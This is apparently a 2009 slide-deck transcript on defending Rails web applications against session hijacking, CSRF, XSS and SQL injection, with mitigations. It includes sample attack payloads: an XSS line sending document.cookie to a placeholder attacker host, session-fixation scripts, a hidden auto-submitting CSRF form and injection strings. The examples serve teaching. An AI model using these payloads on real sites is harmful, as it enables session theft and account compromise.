Defending Against Attacks With Rails

Defending Against Attacks With Rails
Tony Amoyal
Web Application Consultant
www.tonyamoyal.com
July 14, 2009

General Principles
Kerckhoff's Principle – Always assume the method of security is known
Always validate on the server side, even if you validate on the client side
Whitelist, don't Blacklist

Authentication
Step 1:
One-way hash all passwords
MD5 -> 128-bit hash values ( 2^128 tries)
SHA -> 160-bit hash values (2^160 tries)
Secure?

Why isn’t hashing enough?
Same passwords hash to same value
-> Attacker can easily determine if multiple users
have the same password
Very weak against Rainbow attack

Use Salt
Ensures same password will hash to different values
Rainbow tables are useless, attacker would essentially have to compute a rainbow table for each password with the new salt

People Use Crappy Passwords
20 common passwords from MySpace phishing attack:
password1, abc123, myspace1, password, blink182,
qwerty1, ****you, 123abc, baseball1, football1,
123456, soccer, monkey1, liverpool1, princess1,
jordan23, slipknot1, superman1, iloveyou1, monkey
( http://www.schneier.com/blog/archives/2006/12/realworld_passw.html )

Restful Authentication
Great way to implement authentication in Rails
Easy setup with hashes and salts
Extra protection for crappy passwords with SITE_KEY and stretching

What Else Can We Do?
It is difficult to protect accounts with bad passwords
Always provide a password strength meter
Maybe only accept passwords at a certain strength level

Mass Assignment
Rails let's us do stuff like…
Not secure if we have attributes like is_admin because an attacker can POST with…

Solve By Whitelisting
For previous example:
Can also use attr_protected to Blacklist

Accessing Records

Logging
Tell Rails not to log sensitive data

Security Through Obscurity?
My default server response header:
“ Apache/2.2.11 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.8g DAV/2 PHP/5.3.0 Phusion_Passenger/2.2.2”
Add this to your Apache conf:
ServerTokens Prod
-> New server response header:
“ Apache”

More Obscurity?
Turn your server signature off
Add this to the bottom of your Apache conf:
ServerSignature Off

Stack Traces
Rails handles this but good to know about
config/environments/development.rb
config/environments/production.rb
Want prod error message in dev? In app controller:

Time For The Scary Stuff...

Session Hijacking
How does it work?
Session ID's are stored on client machines
1) Attacker gets SID from authenticated user
2) Attacker presents SID to web app as his own

How Does Attacker Get SID?
1) Guess the Session ID
2) Network sniffing
3) Finding cookies on shared computer
4) Cross-site scripting (more on this later)
5) Session fixation (more on this later)

Guessing the Session ID
Rails makes this very difficult by making Session ID's very random
SID's are hashes of string containing:
current time
random number between 0 and 1
PID of ruby interpreter (another random number)
constant string

Sniffing the Session ID
Possible on an unencrypted wireless LAN
( internet cafe )
Solution: provide SSL connection

Shared computer problem
Consider public computers
Solution:
Provide a logout button to clear the session
Good example – Bank Of America:
Provides a low session expiration time with pop-up warning

Cookie Security
Rails uses CookieStore by default as of v2.2
Can users tamper with the cookies?
Only if they have the secret key:
config/environment.rb

Cookie Precautions
Don't store in the session:
Sensitive Data
Cookie data is not encrypted , it is base64 encoded ! -> clients can read cookies
Transient Data (account balance)
Vulnerable to replay attack...see next slide
Use a long secret key: 128 characters

What is a Replay Attack?
When a client presents an old cookie that is valid and convinces the server that it is current
Use a nonce? …probably overkill
(if not, use memcached?)
Best solution:
Don't keep transient data that is sensitive (account balance) in the session

Session Fixation
1) Attacker gets a valid session
2) Attacker forces his victim to use valid session
Now attacker has access to your session

Good Example from Wikipedia
Given:
Alice has bank account at http://un.safe.ly
Mallory wants Alice's money
Alice has reasonable amount of trust in Mallory

The Attack
1) Mallory knows the http://un.safe.ly accepts SID's from query strings
2) Mallory sends Alice an email
“ Check out this new cool bank feature http://un.safe.ly/?SID=GOTCHA”
3) Alice visits the link and logs in
4) Mallory visits the link and has access to Alice's account

Other Attacks
You can also use XSS to set a victim's session ID
<script>
document.cookie="_session_id=PUT_SID_HERE";
</script>
OR
<meta http-equiv=Set-Cookie content="_session_id=PUT_SID_HERE">

Fixation Mitigation
In Rails, one line of code:
reset_session
In last example, Alice's session would have been reset upon login
The tradeoff? Forms will expire
(read more: vendor/plugins/restful_authentication/notes/Tradeoffs.txt )

Restful Authentication Example
app/controllers/sessions_controller.rb
Read about tradeoffs: plugins/restful_authentication/notes/Tradeoffs.txt

Cross-Site Request Forgery
What is it?
Let's start with a great example from Rails Guides

CSRF Example
1) Attacker posts on a message board
<img src="http://www.webapp.com/project/1/destroy">
2) Bob recently used webapp.com, session still alive
3) Bob visits message board
4) Browser loads image, sending cookie from Bob's machine
5) webapp verifies cookie credentials and destroys project with ID=1
6) No image displayed on forum

CSRF Mitigation
1) Require POST methods where applicable
config/routes.rb
app/controllers/projects_controller.rb
Still not secure, POST requests can be sent automatically on events

Automatic POST Request
<a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a>
OR
<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />

Another Security Measure
2) Add a security token in forms
Rails automatically includes security tokens in forms
app/controllers/application_controller.rb
Use secret if not using the CookieStore

Cross-Site Scripting ( XSS )
Most Common
Most Devastating
510,000 Attacks
in April, 2008

The XSS Attack
1) Attacker visits website and injects some code through web form or other means
2) Web application saves injected code and displays it later to a victim

The Possibilities
Steal cookies
Hijack sessions
Redirect victim to malicious website
Display advertisements to benefit attacker
Change elements on website to get credentials
Install malware through browser security holes

XSS Example
Getting cookie information
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
OR
<img src=javascript:document.write('<img src="http://www.attacker.com/' + document.cookie + '">')>
OR
<table background="...">
Now the attacker checks his server logs

Get User Credentials
Use an iframe to present a form to be submitted to your server
<iframe name="LoginForm" src="http://58.xx.xxx.xxx"></iframe>

XSS Mitigation
1) Whitelist input filtering
Good reference:
http://apidock.com/rails/ActionView/Helpers/SanitizeHelper/sanitize
2) Escape all output of your application
In your views...
<%=h user_input %> # done by default in Rails 3

SQL Injection
An attack that manipulates SQL queries performed by a web application on its database.

SQL Injection Example
Given: My application has Reminder objects which belong to Band objects
Reminder.find(:all,
:conditions => "band_name = '#{band_name}'")
What if an attacker enters for their band_name:
' OR 1=1 OR '
Resulting SQL:
SELECT * FROM `reminders` WHERE (band_name = '' OR 1=1 OR '')

SQL Injection Mitigation
In Rails use
Reminder.find(:all, :conditions => ["band_name = ?", band_name])
Resulting SQL:
SELECT * FROM `reminders` WHERE (band_name = '' OR 1=1 OR'')
', ”, NULL, and line breaks are escaped
-> Query returns nothing

But Obviously...
Do this:
@reminders = @band.reminders
The previous tip works great for complicated custom queries

Other Injections
1) Ajax
Returning a string in Ajax call? Escape in controller
2) RJS
escape_javascript() within JS and h() within HTML
3) CSS
Some browsers allow HTML/JS in CSS
<div id="abc" expr="alert('!!!')" style="background:url('javascript:eval(document.all.abc.expr)')">
...works just like HTML/JS injection

More Injections
4) Textile
Use whitelist filtering!
RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"
5) Command Line
system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files

Even More Injections
6) Header
escape referer, user-agent, cookie, etc. if you display these headers on a page
be aware of how you build headers because injections can rewrite headers and inject arbitrary headers (up to Rails 2.1.2)
more in Rails Guides, section 8.9
7) Encoding
Browser understands encoding, but your app does not therefore sanitize method is useless

Regular Expressions
Use A and , not ^ and $
The problem?
file.txt%0A<script>alert('hello')</script>
passes the test because %0A is a newline
Result: "file.txt <script>alert('hello')</script>"

Whitelist, Don't Blacklist
before_filter :only => [...] instead of
before_filter :except => [...]
Use attr_accessible instead of attr_protected
Only allow certain tags when stripping instead of allowing all tags except
Don't try to correct user input
This will make the attack work: "<sc<script>ript>".gsub("<script>", "")

Some Links
http://guides.rubyonrails.org/security.html
http://en.wikipedia.org/wiki/Session_fixation
http://www.rorsecurity.info/journal/2007/4/15/session-fixation-in-rails.html
http://github.com/technoweenie/restful-authentication/
http://www.matasano.com/log/958/enough-with-the-rainbow-tables-what-you-need-to-know-about-secure-password-schemes/
My Blog: www.tonyamoyal.com

Defending Against Attacks With Rails

by Tony Amoyal on Aug 04, 2009

Accessibility

Categories

Tags

Upload Details

Usage Rights

2 Embeds 176

Statistics

Defending Against Attacks With Rails — Presentation Transcript

http://www.tonyamoyal.com	172
http://www.slideshare.net	4